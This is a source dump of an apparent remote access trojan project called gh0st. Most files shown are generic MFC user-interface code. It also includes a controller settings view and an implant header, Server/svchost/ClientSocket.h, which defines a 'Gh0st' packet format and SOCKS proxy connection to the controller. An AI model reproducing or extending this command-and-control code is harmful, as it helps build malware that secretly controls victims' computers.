// MFC OLE classes 20 | #include // MFC OLE dialog classes 21 | #include // MFC Automation classes 22 | #endif // _AFX_NO_OLE_SUPPORT 23 | 24 | 25 | #ifndef _AFX_NO_DB_SUPPORT 26 | #include // MFC ODBC database classes 27 | #endif // _AFX_NO_DB_SUPPORT 28 | 29 | #ifndef _AFX_NO_DAO_SUPPORT 30 | #include // MFC DAO database classes 31 | #endif // _AFX_NO_DAO_SUPPORT 32 | 33 | #if _MSC_VER >= 1200 // VC6 34 | #include // MFC support for Internet Explorer 4 Common Controls 35 | #endif 36 | 37 | #ifndef _AFX_NO_AFXCMN_SUPPORT 38 | #include // MFC support for Windows Common Controls 39 | #endif // _AFX_NO_AFXCMN_SUPPORT 40 | 41 | #ifndef TB_SETEXTENDEDSTYLE 42 | // You can download the platform SDK from microsoft's site: 43 | // http://msdn.microsoft.com/developer/sdk/default.htm 44 | #error CJ60Lib requires a newer version of the SDK than you have! 45 | #endif 46 | 47 | #include 48 | #include 49 | #include <..\src\afximpl.h> 50 | 51 | #define AFX_IDW_SIZEBAR_LEFT AFX_IDW_DOCKBAR_LEFT + 4 52 | #define AFX_IDW_SIZEBAR_RIGHT AFX_IDW_DOCKBAR_RIGHT + 5 53 | #define AFX_IDW_SIZEBAR_TOP AFX_IDW_DOCKBAR_TOP + 6 54 | #define AFX_IDW_SIZEBAR_BOTTOM AFX_IDW_DOCKBAR_BOTTOM + 7 55 | 56 | const DWORD dwSizeBarMap[4][2] = 57 | { 58 | { AFX_IDW_SIZEBAR_TOP, CBRS_TOP }, 59 | { AFX_IDW_SIZEBAR_BOTTOM, CBRS_BOTTOM }, 60 | { AFX_IDW_SIZEBAR_LEFT, CBRS_LEFT }, 61 | { AFX_IDW_SIZEBAR_RIGHT, CBRS_RIGHT }, 62 | }; 63 | 64 | #define safe_delete(p){if(p){delete p;p=NULL;}} 65 | 66 | #include "Globals.h" 67 | 68 | //{{AFX_INSERT_LOCATION}} 69 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 70 | 71 | #endif // !defined(AFX_STDAFX_H__75A839E8_589B_11D2_AB9F_C40300C10000__INCLUDED_) 72 | -------------------------------------------------------------------------------- /gh0st/IniFile.cpp: -------------------------------------------------------------------------------- 1 | // IniFile.cpp: implementation of the CIniFile class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #include "stdafx.h" 6 | #include "gh0st.h" 7 | #include "IniFile.h" 8 | 9 | #ifdef _DEBUG 10 | #undef THIS_FILE 11 | static char THIS_FILE[]=__FILE__; 12 | #define new DEBUG_NEW 13 | #endif 14 | #define MAX_LENGTH 256 15 | ////////////////////////////////////////////////////////////////////// 16 | // Construction/Destruction 17 | ////////////////////////////////////////////////////////////////////// 18 | 19 | CIniFile::CIniFile() 20 | { 21 | char szAppName[MAX_PATH]; 22 | int len; 23 | 24 | ::GetModuleFileName(AfxGetInstanceHandle(), szAppName, sizeof(szAppName)); 25 | len = strlen(szAppName); 26 | for(int i=len; i>0; i--) 27 | { 28 | if(szAppName[i] == '.') 29 | { 30 | szAppName[i+1] = '\0'; 31 | break; 32 | } 33 | } 34 | strcat(szAppName, "ini"); 35 | IniFileName = szAppName; 36 | } 37 | 38 | CIniFile::~CIniFile() 39 | { 40 | 41 | } 42 | 43 | CString CIniFile::GetString(CString AppName,CString KeyName,CString Default) 44 | { 45 | TCHAR buf[MAX_LENGTH]; 46 | ::GetPrivateProfileString(AppName, KeyName, Default, buf, sizeof(buf), IniFileName); 47 | return buf; 48 | } 49 | 50 | int CIniFile::GetInt(CString AppName,CString KeyName,int Default) 51 | { 52 | return ::GetPrivateProfileInt(AppName, KeyName, Default, IniFileName); 53 | } 54 | 55 | unsigned long CIniFile::GetDWORD(CString AppName,CString KeyName,unsigned long Default) 56 | { 57 | TCHAR buf[MAX_LENGTH]; 58 | CString temp; 59 | temp.Format("%u",Default); 60 | ::GetPrivateProfileString(AppName, KeyName, temp, buf, sizeof(buf), IniFileName); 61 | return atol(buf); 62 | } 63 | 64 | BOOL CIniFile::SetString(CString AppName,CString KeyName,CString Data) 65 | { 66 | return ::WritePrivateProfileString(AppName, KeyName, Data, IniFileName); 67 | } 68 | 69 | BOOL CIniFile::SetInt(CString AppName,CString KeyName,int Data) 70 | { 71 | CString temp; 72 | temp.Format("%d", Data); 73 | return ::WritePrivateProfileString(AppName, KeyName, temp, IniFileName); 74 | } 75 | 76 | BOOL CIniFile::SetDouble(CString AppName,CString KeyName,double Data) 77 | { 78 | CString temp; 79 | temp.Format("%f",Data); 80 | return ::WritePrivateProfileString(AppName, KeyName, temp, IniFileName); 81 | } 82 | 83 | BOOL CIniFile::SetDWORD(CString AppName,CString KeyName,unsigned long Data) 84 | { 85 | CString temp; 86 | temp.Format("%u",Data); 87 | return ::WritePrivateProfileString(AppName, KeyName, temp, IniFileName); 88 | } -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/CJFrameInfo.cpp: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // Copyright 1999 Takehiko Mizoguti 3 | // If this code works, it was written by Takehiko Mizoguti. 4 | // If not, I don't know who wrote it. 5 | // 6 | // CCJFrameInfo implements FrameWindow Info for CCJFrameWnd Families. 7 | // 8 | 9 | #include "StdAfx.h" 10 | #include "CJFrameInfo.h" 11 | 12 | CCJFrameInfo::CCJFrameInfo() 13 | { 14 | m_pFrameWnd = NULL; 15 | m_strSection.Empty(); 16 | m_strEntry.Empty(); 17 | 18 | length = sizeof( WINDOWPLACEMENT ); 19 | flags = NULL; 20 | showCmd = NULL; 21 | ptMinPosition.x = 0; 22 | ptMinPosition.y = 0; 23 | ptMaxPosition.x = 0; 24 | ptMaxPosition.y = 0; 25 | rcNormalPosition.left = 0; 26 | rcNormalPosition.top = 0; 27 | rcNormalPosition.right = 0; 28 | rcNormalPosition.bottom = 0; 29 | } 30 | 31 | CCJFrameInfo::~CCJFrameInfo() 32 | { 33 | } 34 | 35 | void CCJFrameInfo::EnableRestorePlacement( CFrameWnd* pFrame, CString strSection, CString strEntry ) 36 | { 37 | m_pFrameWnd = pFrame; 38 | m_strSection = strSection; 39 | m_strEntry = strEntry; 40 | } 41 | 42 | void CCJFrameInfo::LoadFramePlacement() 43 | { 44 | if( !m_pFrameWnd ) return; 45 | 46 | ASSERT( !m_strSection.IsEmpty() ); 47 | ASSERT( !m_strEntry.IsEmpty() ); 48 | 49 | CString strValue; 50 | strValue = AfxGetApp()->GetProfileString( m_strSection, m_strEntry, "" ); 51 | 52 | int nField = _stscanf( strValue, _T("%i,%i,%i,%i,%i,%i,%i,%i,%i,%i"), 53 | &flags, 54 | &showCmd, 55 | &ptMinPosition.x, 56 | &ptMinPosition.y, 57 | &ptMaxPosition.x, 58 | &ptMaxPosition.y, 59 | &rcNormalPosition.left, 60 | &rcNormalPosition.top, 61 | &rcNormalPosition.right, 62 | &rcNormalPosition.bottom 63 | ); 64 | 65 | if( nField == 10 ) m_pFrameWnd->SetWindowPlacement( this ); 66 | } 67 | 68 | void CCJFrameInfo::SaveFramePlacement() 69 | { 70 | if( !m_pFrameWnd ) return; 71 | 72 | ASSERT( !m_strSection.IsEmpty() ); 73 | ASSERT( !m_strEntry.IsEmpty() ); 74 | 75 | m_pFrameWnd->GetWindowPlacement( this ); 76 | 77 | CString strValue; 78 | strValue.Format( _T("%i,%i,%i,%i,%i,%i,%i,%i,%i,%i"), 79 | flags, 80 | showCmd, 81 | ptMinPosition.x, 82 | ptMinPosition.y, 83 | ptMaxPosition.x, 84 | ptMaxPosition.y, 85 | rcNormalPosition.left, 86 | rcNormalPosition.top, 87 | rcNormalPosition.right, 88 | rcNormalPosition.bottom 89 | ); 90 | 91 | AfxGetApp()->WriteProfileString( m_strSection, m_strEntry, strValue ); 92 | } 93 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/readme.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | MICROSOFT FOUNDATION CLASS LIBRARY : CJ60Lib 3 | ======================================================================== 4 | 5 | 6 | AppWizard has created this CJ60Lib DLL for you. This DLL not only 7 | demonstrates the basics of using the Microsoft Foundation classes but 8 | is also a starting point for writing your DLL. 9 | 10 | This file contains a summary of what you will find in each of the files that 11 | make up your CJ60Lib DLL. 12 | 13 | CJ60Lib.dsp 14 | This file (the project file) contains information at the project level and 15 | is used to build a single project or subproject. Other users can share the 16 | project (.dsp) file, but they should export the makefiles locally. 17 | 18 | CJ60Lib.cpp 19 | This is the main DLL source file that contains the definition of 20 | DllMain(). 21 | 22 | 23 | CJ60Lib.rc 24 | This is a listing of all of the Microsoft Windows resources that the 25 | program uses. It includes the icons, bitmaps, and cursors that are stored 26 | in the RES subdirectory. This file can be directly edited in Microsoft 27 | Visual C++. 28 | 29 | CJ60Lib.clw 30 | This file contains information used by ClassWizard to edit existing 31 | classes or add new classes. ClassWizard also uses this file to store 32 | information needed to create and edit message maps and dialog data 33 | maps and to create prototype member functions. 34 | 35 | res\CJ60Lib.rc2 36 | This file contains resources that are not edited by Microsoft 37 | Visual C++. You should place all resources not editable by 38 | the resource editor in this file. 39 | 40 | CJ60Lib.def 41 | This file contains information about the DLL that must be 42 | provided to run with Microsoft Windows. It defines parameters 43 | such as the name and description of the DLL. It also exports 44 | functions from the DLL. 45 | 46 | ///////////////////////////////////////////////////////////////////////////// 47 | Other standard files: 48 | 49 | StdAfx.h, StdAfx.cpp 50 | These files are used to build a precompiled header (PCH) file 51 | named CJ60Lib.pch and a precompiled types file named StdAfx.obj. 52 | 53 | Resource.h 54 | This is the standard header file, which defines new resource IDs. 55 | Microsoft Visual C++ reads and updates this file. 56 | 57 | ///////////////////////////////////////////////////////////////////////////// 58 | Other notes: 59 | 60 | AppWizard uses "TODO:" to indicate parts of the source code you 61 | should add to or customize. 62 | 63 | ///////////////////////////////////////////////////////////////////////////// 64 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/FixTB.h: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // Copyright 1998 Paul DiLascia 3 | // If this code works, it was written by Paul DiLascia. 4 | // If not, I don't know who wrote it. 5 | // 6 | #ifndef __FIXTB_H 7 | #define __FIXTB_H 8 | 9 | ////////////////// 10 | // This class fixes the sizing bugs in MFC that calculates the 11 | // size of toolbars incorrectly for modern toobars (comctl32 version >= 4.71) 12 | // It also contains a number of wrappers for function that CToolBar doesn't 13 | // have (so you don't have to use GetToolBarCtrl). 14 | // 15 | // Generally, you should use CFlatToolBar instead of CFixMFCToolBar (even 16 | // if you're not using the flat style), but you can use CFixMFCToolBar if 17 | // all you want is the sizing fix for MFC tooblars. 18 | // 19 | class AFX_EXT_CLASS CFixMFCToolBar : public CToolBar { 20 | public: 21 | CFixMFCToolBar(); 22 | virtual ~CFixMFCToolBar(); 23 | 24 | static int iVerComCtl32; // version of commctl32.dll (eg 471) 25 | 26 | // There is a bug in comctl32.dll, version 4.71+ that causes it to 27 | // draw vertical separators in addition to horizontal ones, when the 28 | // toolbar is vertically docked. If the toolbar has no dropdown buttons, 29 | // this is not a problem because the separators are ignored when calculating 30 | // the width of the toolbar. If, however, you have dropdown buttons, then the 31 | // width of a vertically docked toolbar will be too narrow to show the 32 | // dropdown arrow. This is in fact what happens in Visual Studio. If you 33 | // want to show the dropdown arrow when vertical, set this to TRUE 34 | // (default = FALSE) 35 | // 36 | BOOL m_bShowDropdownArrowWhenVertical; 37 | 38 | virtual CSize CalcFixedLayout(BOOL bStretch, BOOL bHorz); 39 | virtual CSize CalcDynamicLayout(int nLength, DWORD nMode); 40 | 41 | CSize CalcLayout(DWORD nMode, int nLength = -1); 42 | CSize CalcSize(TBBUTTON* pData, int nCount); 43 | int WrapToolBar(TBBUTTON* pData, int nCount, int nWidth); 44 | void SizeToolBar(TBBUTTON* pData, int nCount, int nLength, 45 | BOOL bVert = FALSE); 46 | virtual void OnBarStyleChange(DWORD dwOldStyle, DWORD dwNewStyle); 47 | 48 | virtual CSize GetButtonSize(TBBUTTON* pData, int iButton); 49 | 50 | // MFC has versions of these that are protected--but why? 51 | // 52 | void GetButton(int nIndex, TBBUTTON* pButton) const; 53 | void SetButton(int nIndex, TBBUTTON* pButton); 54 | 55 | protected: 56 | LRESULT OnSizeHelper(CSize& sz, LPARAM lp); 57 | afx_msg LRESULT OnSetBitmapSize(WPARAM, LPARAM); 58 | afx_msg LRESULT OnSetButtonSize(WPARAM, LPARAM); 59 | afx_msg LRESULT OnSettingChange(WPARAM, LPARAM); 60 | DECLARE_MESSAGE_MAP() 61 | DECLARE_DYNAMIC(CFixMFCToolBar) 62 | }; 63 | 64 | #endif 65 | -------------------------------------------------------------------------------- /gh0st/SettingsView.h: -------------------------------------------------------------------------------- 1 | #if !defined(AFX_SETTINGSVIEW_H__0BE25EB6_DFFA_4CEB_A4E7_BD98236BB73A__INCLUDED_) 2 | #define AFX_SETTINGSVIEW_H__0BE25EB6_DFFA_4CEB_A4E7_BD98236BB73A__INCLUDED_ 3 | 4 | #if _MSC_VER > 1000 5 | #pragma once 6 | #endif // _MSC_VER > 1000 7 | // SettingsView.h : header file 8 | // 9 | 10 | ///////////////////////////////////////////////////////////////////////////// 11 | // CSettingsView form view 12 | 13 | #ifndef __AFXEXT_H__ 14 | #include 15 | #endif 16 | 17 | #include "control/HoverEdit.h" 18 | #include "control/WinXPButtonST.h" 19 | //#define CButton CCJFlatButton 20 | class CSettingsView : public CFormView 21 | { 22 | protected: 23 | DECLARE_DYNCREATE(CSettingsView) 24 | 25 | // Form Data 26 | public: 27 | //{{AFX_DATA(CSettingsView) 28 | enum { IDD = IDD_SETTINGS }; 29 | CString m_remote_host; 30 | CString m_remote_port; 31 | CString m_encode; 32 | UINT m_listen_port; 33 | UINT m_max_connections; 34 | BOOL m_connect_auto; 35 | BOOL m_bIsProxyAuth; 36 | BOOL m_bIsUsedProxy; 37 | CString m_proxy_host; 38 | CString m_proxy_pass; 39 | CString m_proxy_port; 40 | CString m_proxy_user; 41 | BOOL m_bIsDisablePopTips; 42 | BOOL m_bIsSaveAsDefault; 43 | //}}AFX_DATA 44 | 45 | // Attributes 46 | public: 47 | 48 | // Operations 49 | public: 50 | 51 | CSettingsView(); // public constructor used by dynamic creation 52 | virtual ~CSettingsView(); 53 | // Overrides 54 | // ClassWizard generated virtual function overrides 55 | //{{AFX_VIRTUAL(CSettingsView) 56 | public: 57 | protected: 58 | virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support 59 | virtual void OnActivateView(BOOL bActivate, CView* pActivateView, CView* pDeactiveView); 60 | //}}AFX_VIRTUAL 61 | 62 | // Implementation 63 | protected: 64 | 65 | #ifdef _DEBUG 66 | virtual void AssertValid() const; 67 | virtual void Dump(CDumpContext& dc) const; 68 | #endif 69 | 70 | // Generated message map functions 71 | //{{AFX_MSG(CSettingsView) 72 | afx_msg void OnChangeConfig(UINT id); 73 | afx_msg void OnResetport(); 74 | afx_msg void OnConnectAuto(); 75 | afx_msg void OnCheckAuth(); 76 | afx_msg void OnTestProxy(); 77 | afx_msg void OnCheckProxy(); 78 | afx_msg void OnTestMaster(); 79 | afx_msg void OnDisablePoptips(); 80 | afx_msg void OnSaveasDefault(); 81 | //}}AFX_MSG 82 | DECLARE_MESSAGE_MAP() 83 | private: 84 | static DWORD WINAPI TestProxy(LPVOID lparam); 85 | static DWORD WINAPI TestMaster(LPVOID lparam); 86 | void UpdateProxyControl(); 87 | bool m_bFirstShow; 88 | CHoverEdit m_Edit[9]; 89 | CWinXPButtonST m_Btn[3]; 90 | 91 | }; 92 | 93 | ///////////////////////////////////////////////////////////////////////////// 94 | 95 | //{{AFX_INSERT_LOCATION}} 96 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 97 | 98 | #endif // !defined(AFX_SETTINGSVIEW_H__0BE25EB6_DFFA_4CEB_A4E7_BD98236BB73A__INCLUDED_) 99 | -------------------------------------------------------------------------------- /gh0st/control/HoverEdit.h: -------------------------------------------------------------------------------- 1 | #if !defined(AFX_HOVEREDIT_H__372AC76D_6B84_435C_8300_9519EB021C8C__INCLUDED_) 2 | #define AFX_HOVEREDIT_H__372AC76D_6B84_435C_8300_9519EB021C8C__INCLUDED_ 3 | 4 | #if _MSC_VER > 1000 5 | #pragma once 6 | #endif // _MSC_VER > 1000 7 | // HoverEdit.h : header file 8 | // 9 | //#include "TrackControl.h" 10 | ///////////////////////////////////////////////////////////////////////////// 11 | // CHoverEdit window 12 | template 13 | ///////////////////////////////////////////////////////////////////////////// 14 | // CTrackControl window 15 | 16 | class CTrackControl : public BaseClass 17 | { 18 | // Construction 19 | public: 20 | CTrackControl() 21 | { 22 | m_bTracking=m_bHover=FALSE; 23 | } 24 | virtual ~CTrackControl() {} 25 | BOOLEAN IsHover() 26 | { 27 | return m_bHover; 28 | } 29 | 30 | // Implementation 31 | public: 32 | virtual void OnHoverEnter()=0; 33 | virtual void OnHoverLeave()=0; 34 | 35 | // Generated message map functions 36 | protected: 37 | virtual LRESULT WindowProc(UINT nMessage, WPARAM wParam, LPARAM lParam) 38 | { 39 | LRESULT nResult=BaseClass::WindowProc(nMessage,wParam,lParam); 40 | switch(nMessage) 41 | { 42 | case WM_MOUSEMOVE: 43 | { 44 | if (!m_bTracking) 45 | { 46 | TRACKMOUSEEVENT Tme; 47 | Tme.cbSize = sizeof(Tme); 48 | Tme.hwndTrack = GetSafeHwnd(); 49 | Tme.dwFlags = TME_LEAVE|TME_HOVER; 50 | Tme.dwHoverTime = 1; 51 | if (_TrackMouseEvent(&Tme)) 52 | m_bTracking=TRUE; 53 | } 54 | break; 55 | } 56 | case WM_MOUSEHOVER: 57 | m_bHover=TRUE; 58 | OnHoverEnter(); 59 | break; 60 | case WM_MOUSELEAVE: 61 | m_bTracking=m_bHover=FALSE; 62 | OnHoverLeave(); 63 | break; 64 | } 65 | return nResult; 66 | } 67 | 68 | private: 69 | BOOLEAN m_bTracking; 70 | BOOLEAN m_bHover; 71 | }; 72 | 73 | 74 | class CHoverEdit : public CTrackControl 75 | { 76 | // Construction 77 | public: 78 | CHoverEdit(); 79 | 80 | // Attributes 81 | public: 82 | 83 | // Operations 84 | public: 85 | 86 | // Overrides 87 | // ClassWizard generated virtual function overrides 88 | //{{AFX_VIRTUAL(CHoverEdit) 89 | //}}AFX_VIRTUAL 90 | 91 | // Implementation 92 | public: 93 | virtual void OnHoverLeave(); 94 | virtual void OnHoverEnter(); 95 | virtual ~CHoverEdit(); 96 | 97 | // Generated message map functions 98 | protected: 99 | //{{AFX_MSG(CHoverEdit) 100 | afx_msg void OnNcPaint(); 101 | //}}AFX_MSG 102 | 103 | DECLARE_MESSAGE_MAP() 104 | private: 105 | inline void Redraw(); 106 | }; 107 | 108 | ///////////////////////////////////////////////////////////////////////////// 109 | 110 | //{{AFX_INSERT_LOCATION}} 111 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 112 | 113 | #endif // !defined(AFX_HOVEREDIT_H__372AC76D_6B84_435C_8300_9519EB021C8C__INCLUDED_) 114 | -------------------------------------------------------------------------------- /Server/svchost/ClientSocket.h: -------------------------------------------------------------------------------- 1 | // ClientSocket.h: interface for the CClientSocket class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_) 6 | #define AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_ 7 | #include 8 | #include 9 | #include "common/Buffer.h" // Added by ClassView 10 | #include "common/Manager.h" 11 | #if _MSC_VER > 1000 12 | #pragma once 13 | #endif // _MSC_VER > 1000 14 | 15 | // Change at your Own Peril 16 | 17 | // 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen 18 | #define HDR_SIZE 13 19 | #define FLAG_SIZE 5 20 | 21 | enum 22 | { 23 | PROXY_NONE, 24 | PROXY_SOCKS_VER4 = 4, 25 | PROXY_SOCKS_VER5 26 | }; 27 | 28 | struct socks5req1 29 | { 30 | char Ver; 31 | char nMethods; 32 | char Methods[2]; 33 | }; 34 | 35 | struct socks5ans1 36 | { 37 | char Ver; 38 | char Method; 39 | }; 40 | 41 | struct socks5req2 42 | { 43 | char Ver; 44 | char Cmd; 45 | char Rsv; 46 | char Atyp; 47 | unsigned long IPAddr; 48 | unsigned short Port; 49 | 50 | // char other[1]; 51 | }; 52 | 53 | struct socks5ans2 54 | { 55 | char Ver; 56 | char Rep; 57 | char Rsv; 58 | char Atyp; 59 | char other[1]; 60 | }; 61 | 62 | struct authreq 63 | { 64 | char Ver; 65 | char Ulen; 66 | char NamePass[256]; 67 | }; 68 | 69 | struct authans 70 | { 71 | char Ver; 72 | char Status; 73 | }; 74 | 75 | class CClientSocket 76 | { 77 | friend class CManager; 78 | public: 79 | CBuffer m_CompressionBuffer; 80 | CBuffer m_DeCompressionBuffer; 81 | CBuffer m_WriteBuffer; 82 | CBuffer m_ResendWriteBuffer; 83 | void Disconnect(); 84 | bool Connect(LPCTSTR lpszHost, UINT nPort); 85 | int Send(LPBYTE lpData, UINT nSize); 86 | void OnRead(LPBYTE lpBuffer, DWORD dwIoSize); 87 | void setManagerCallBack(CManager *pManager); 88 | void setGlobalProxyOption(int nProxyType = PROXY_NONE, LPCTSTR lpszProxyHost = NULL, UINT nProxyPort = 1080, LPCTSTR lpszUserName = NULL, LPCSTR lpszPassWord = NULL); 89 | void run_event_loop(); 90 | bool IsRunning(); 91 | 92 | HANDLE m_hWorkerThread; 93 | SOCKET m_Socket; 94 | HANDLE m_hEvent; 95 | 96 | CClientSocket(); 97 | virtual ~CClientSocket(); 98 | private: 99 | static int m_nProxyType; 100 | static char m_strProxyHost[256]; 101 | static UINT m_nProxyPort; 102 | static char m_strUserName[256]; 103 | static char m_strPassWord[256]; 104 | 105 | BYTE m_bPacketFlag[FLAG_SIZE]; 106 | bool ConnectProxyServer(LPCTSTR lpszHost, UINT nPort); 107 | static DWORD WINAPI WorkThread(LPVOID lparam); 108 | int SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize); 109 | bool m_bIsRunning; 110 | CManager *m_pManager; 111 | 112 | }; 113 | 114 | #endif // !defined(AFX_CLIENTSOCKET_H__1902379A_1EEB_4AFE_A531_5E129AF7AE95__INCLUDED_) 115 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/CJTabView.h: -------------------------------------------------------------------------------- 1 | #ifndef __CJTABVIEW_H__ 2 | #define __CJTABVIEW_H__ 3 | 4 | //////////////////////////////////////////////////////////////// 5 | // Copyright 1999 Mike Manzo 6 | // Class: CCJTabView 7 | // ========================================================================== 8 | // HISTORY: 9 | // ========================================================================== 10 | // 1.00 14 Feb 1999 - Initial release. 11 | // ========================================================================== 12 | // 13 | ///////////////////////////////////////////////////////////////////////////// 14 | 15 | #if _MSC_VER > 1000 16 | #pragma once 17 | #endif // _MSC_VER > 1000 18 | // CJTabView.h : header file 19 | // 20 | 21 | typedef struct 22 | { 23 | CWnd *pWnd; 24 | char szLabel[32]; 25 | }CTV_ITEM; 26 | 27 | #define TABVIEW_BORDER 3 28 | typedef CList CListViews; 29 | 30 | ///////////////////////////////////////////////////////////////////////////// 31 | // CCJTabView window 32 | 33 | class AFX_EXT_CLASS CCJTabView : public CCtrlView 34 | { 35 | // Construction 36 | protected: 37 | CCJTabView(); 38 | 39 | DECLARE_DYNCREATE(CCJTabView) 40 | 41 | // Attributes 42 | public: 43 | 44 | // Operations 45 | public: 46 | BOOL AddView(LPCTSTR lpszLabel, CRuntimeClass *pViewClass, CDocument* pDoc = NULL, CCreateContext *pContext = NULL); 47 | BOOL ModifyTabStyle(DWORD dwRemove, DWORD dwAdd, UINT nFlags=0); 48 | 49 | void SetActiveView(CRuntimeClass *pViewClass); 50 | void SetActiveView(int nNewTab); 51 | void RemoveView(int nView); 52 | 53 | CView* GetView(CRuntimeClass *pViewClass); 54 | CView* GetView(int nView); 55 | CView* GetActiveView(); 56 | 57 | CImageList* SetTabImageList(CImageList *pImageList); 58 | CTabCtrl* GetTabCtrl() {return m_pTabCtrl;} 59 | 60 | protected: 61 | CView* m_pActiveView; 62 | int m_nActiveTab; 63 | CTabCtrl* m_pTabCtrl; 64 | CToolTipCtrl* m_pToolTip; 65 | CFont m_TabFont; 66 | CListViews m_views; 67 | 68 | private: 69 | void CalcViewRect(CRect* pRect); 70 | 71 | // Overrides 72 | // ClassWizard generated virtual function overrides 73 | //{{AFX_VIRTUAL(CCJTabView) 74 | public: 75 | virtual void OnInitialUpdate(); 76 | //}}AFX_VIRTUAL 77 | public: 78 | virtual void GetChildRect(CRect &rect); 79 | 80 | // Implementation 81 | public: 82 | virtual ~CCJTabView(); 83 | 84 | // Generated message map functions 85 | protected: 86 | //{{AFX_MSG(CCJTabView) 87 | afx_msg void OnWindowPosChanged(WINDOWPOS FAR* lpwndpos); 88 | afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct); 89 | afx_msg void OnSelchange(NMHDR* pNMHDR, LRESULT* pResult); 90 | //}}AFX_MSG 91 | DECLARE_MESSAGE_MAP() 92 | }; 93 | 94 | ///////////////////////////////////////////////////////////////////////////// 95 | 96 | //{{AFX_INSERT_LOCATION}} 97 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 98 | 99 | #endif // __CJTABVIEW_H__ 100 | -------------------------------------------------------------------------------- /gh0st/InputDlg.h: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // PixieLib(TM) Copyright 1997-2005 Paul DiLascia 3 | // If this code works, it was written by Paul DiLascia. 4 | // If not, I don't know who wrote it. 5 | // Compiles with Visual Studio.NET 7.1 or greater. Set tabsize=3. 6 | // 7 | 8 | ////////////////// 9 | // Helper class to build a dialog template in memory. Only supports what's 10 | // needed for CStringDialog. 11 | // 12 | class CDlgTemplateBuilder { 13 | protected: 14 | WORD* m_pBuffer; // internal buffer holds dialog template 15 | WORD* m_pNext; // next WORD to copy stuff 16 | WORD* m_pEndBuf; // end of buffer 17 | 18 | // align ptr to nearest DWORD 19 | WORD* AlignDWORD(WORD* ptr) { 20 | ptr++; // round up to nearest DWORD 21 | LPARAM lp = (LPARAM)ptr; // convert to long 22 | lp &= 0xFFFFFFFC; // make sure on DWORD boundary 23 | return (WORD*)lp; 24 | } 25 | 26 | void AddItemTemplate(WORD wType, DWORD dwStyle, const CRect& rc, 27 | WORD nID, DWORD dwStyleEx); 28 | 29 | public: 30 | // Windows predefined atom names 31 | enum { BUTTON=0x0080, EDIT, STATIC, LISTBOX, SCROLLBAR, COMBOBOX }; 32 | 33 | CDlgTemplateBuilder(UINT nBufLen=1024); 34 | ~CDlgTemplateBuilder(); 35 | 36 | DLGTEMPLATE* GetTemplate() { return (DLGTEMPLATE*)m_pBuffer; } 37 | 38 | // functions to build the template 39 | DLGTEMPLATE* Begin(DWORD dwStyle, const CRect& rc, LPCTSTR caption, DWORD dwStyleEx=0); 40 | WORD* AddText(WORD* buf, LPCTSTR text); 41 | void AddItem(WORD wType, DWORD dwStyle, const CRect& rc, 42 | LPCTSTR text, WORD nID=-1, DWORD dwStyleEx=0); 43 | void AddItem(WORD wType, DWORD dwStyle, const CRect& rc, 44 | WORD nResID, WORD nID=-1, DWORD dwStyleEx=0); 45 | }; 46 | 47 | ////////////////// 48 | // Class to implement a simple string input dialog. Kind of like MessageBox 49 | // but it accepts a single string input from user. You provide the prompt. To 50 | // use: 51 | // 52 | // CStringDialog dlg; // string dialog 53 | // dlg.m_bRequired = m_bRequired; // if string is required 54 | // dlg.Init(_T("Title"), _T("Enter a string:"), this, IDI_QUESTION); 55 | // dlg.DoModal(); // run dialog 56 | // CString result = dlg.m_str; // whatever the user typed 57 | // 58 | class CInputDialog : public CDialog { 59 | public: 60 | CString m_str; // the string returned [in,out] 61 | BOOL m_bRequired; // string required? 62 | HICON m_hIcon; // icon if not supplied 63 | 64 | CInputDialog() { } 65 | ~CInputDialog() { } 66 | 67 | // Call this to create the template with given caption and prompt. 68 | BOOL Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent=NULL, 69 | WORD nIDIcon=(WORD)IDI_QUESTION); 70 | 71 | protected: 72 | CDlgTemplateBuilder m_dtb; // place to build/hold the dialog template 73 | enum { IDICON=1, IDEDIT }; // control IDs 74 | 75 | // MFC virtual overrides 76 | virtual BOOL OnInitDialog(); 77 | virtual void OnOK(); 78 | virtual void DoDataExchange(CDataExchange* pDX) 79 | { 80 | DDX_Text(pDX, IDEDIT, m_str); 81 | } 82 | }; 83 | 84 | -------------------------------------------------------------------------------- /Server/install/install.dsp: -------------------------------------------------------------------------------- 1 | # Microsoft Developer Studio Project File - Name="install" - Package Owner=<4> 2 | # Microsoft Developer Studio Generated Build File, Format Version 6.00 3 | # ** DO NOT EDIT ** 4 | 5 | # TARGTYPE "Win32 (x86) Application" 0x0101 6 | 7 | CFG=INSTALL - WIN32 RELEASE 8 | !MESSAGE This is not a valid makefile. To build this project using NMAKE, 9 | !MESSAGE use the Export Makefile command and run 10 | !MESSAGE 11 | !MESSAGE NMAKE /f "install.mak". 12 | !MESSAGE 13 | !MESSAGE You can specify a configuration when running NMAKE 14 | !MESSAGE by defining the macro CFG on the command line. For example: 15 | !MESSAGE 16 | !MESSAGE NMAKE /f "install.mak" CFG="INSTALL - WIN32 RELEASE" 17 | !MESSAGE 18 | !MESSAGE Possible choices for configuration are: 19 | !MESSAGE 20 | !MESSAGE "install - Win32 Release" (based on "Win32 (x86) Application") 21 | !MESSAGE 22 | 23 | # Begin Project 24 | # PROP AllowPerConfigDependencies 0 25 | # PROP Scc_ProjName "" 26 | # PROP Scc_LocalPath "" 27 | CPP=cl.exe 28 | 